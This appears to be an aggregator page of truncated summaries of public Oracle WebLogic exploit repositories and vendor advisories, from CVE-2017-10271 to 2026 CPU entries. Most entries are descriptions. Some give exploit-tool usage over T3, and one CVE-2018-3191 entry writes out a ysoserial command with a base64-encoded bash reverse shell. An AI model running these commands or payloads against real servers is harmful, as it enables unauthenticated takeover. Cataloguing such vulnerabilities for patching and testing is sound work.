CVE_2020_2546

Twitter: @Hktalent3135773 1、Weblogic RCE exploit CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2、exploit GIOP + send bind CVE-2020-2555、CVE-2019-2888、CVE-2019-2888 u otros GIOP + send jta rmi u otros GIO...

Oracle WebLogic Server - Remote Code Execution

Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 contains a remote code execution caused by unauthenticated access via T3, IIOP, letting attackers take over the server, exploit requires network access. id: CVE-2021-2135 info: name: Oracle WebLogic Server - Remote Code Execution author:...

CVE-2022-21350

Why two POCs? One with com.51pwn.hktalent.CreatJar.mainargs; is used to create the minimal payload generation tool. After creation, use the other one. Running CVE-2022-21350powerBy51pwn.jar to build the payload, errors do not affect the use of the payload. other exp root@kitploit: CVE20202551...

Weblogic-CVE-2020-2551-To-Internet

Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POC para usar en Internet POC de prueba se puede usar en redes externas python CVE-2020-2551.py HOST IP Intento de modificar el codebase para cargar clases remotas fallido python CVE-2020-TEST.py HOST IP Breve análisis de la vulnerabilidad weblogic...

CVE-2018-3191

Weblogic-CVE-2018-3191 Vulnerabilidad de ejecución remota de código y comandos weblogic para entorno Docker 0x00 Introducción El 17 de octubre, hora de Beijing, Oracle publicó la Actualización Crítica de Parches CPU de octubre, en la que se corrigió una vulnerabilidad de ejecución remota de códig...

CVE-2023-21839

CVE-2023-21839 Análisis Esta vulnerabilidad se debe a que, tras vincular un objeto mediante el protocolo t3 o iiop, al invocar el método lookup o list se activa el método getReferent del objeto vinculado. Pila de llamadas del protocolo t3 root@kitploit: getObjectInstance:96, WLNamingManager...

cve-2020-2555

CVE-2020-2555 Ejecutar Main.java generará payload.ser en el directorio actual; este payload se puede enviar al servidor de destino mediante el protocolo t3...

POC_CVE-2020-2555

POCCVE-2020-2555 PoC para CVE-2020-2555 3 partes: Cliente y Servidor: para construir el objeto y enviarlo al Servidor, desencadenar la cadena de gadgets. Úsalo para construir el objeto propietario. Ataque: enviar el objeto a través del protocolo T3 con pwntools...

woodpecker-plugins

woodpecker-plugins usage Copy the plugins to the woodpecker-framwork/plugin directory and start java -jar woodpecker-framework.1.3.3.jar from https://github.com/woodpecker-appstore weblogic-info check T3 isOpen: root@kitploit: echo 't3...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 reverse shell IP local: 172.16.38.1 Weblogic: 172.16.38.174:7001 1. Ejecutar localmente java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Luego...

CVE-2017-10271

LAB 2 - CVE-2017-10271: Отчет о десериализации XMLDecoder в WebLogic I. Анализ системы Анализ системных журналов Обнаруженный сервис: Oracle WebLogic Server AdminServer, принадлежащий basedomain, работающий в Development Mode. Порт подключения: 7001. Поддерживаемые протоколы: http, t3, iiop, ldap...

CVE-2020-14645

CVE-2020-14645 Método de uso Primero use NDI-Injection-Exploit para escuchar y generar una dirección ldap. java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget y -RMI son obligatorios, https puede usar el parámetro --SSL, -Port por defecto 7001. Pa...

CVE-2019-2890

CVE-2019-2890 Clona el código de https://github.com/v-gift/CVE-2019-2890 Exploit CVE-2019-2890 para WebLogic con T3...

Oracle WebLogic Server (August 2026 CPU)

The 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 versions of WebLogic Server installed on the remote host are affected by multiple vulnerabilities as referenced in the August 2026 CPU advisory. - Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core...

CVE-2026-60971

Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware component: Client Bundle. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromis...

CVE-2026-60921

Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware component: Client Bundle. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromis...

CVE-2026-60716

Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware component: OIM Legacy UI. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle...

CVE-2026-60722

Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware component: OIM Legacy UI. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle...

CVE-2026-60702

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core. Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromi...

CVE-2026-60696

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core. Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to...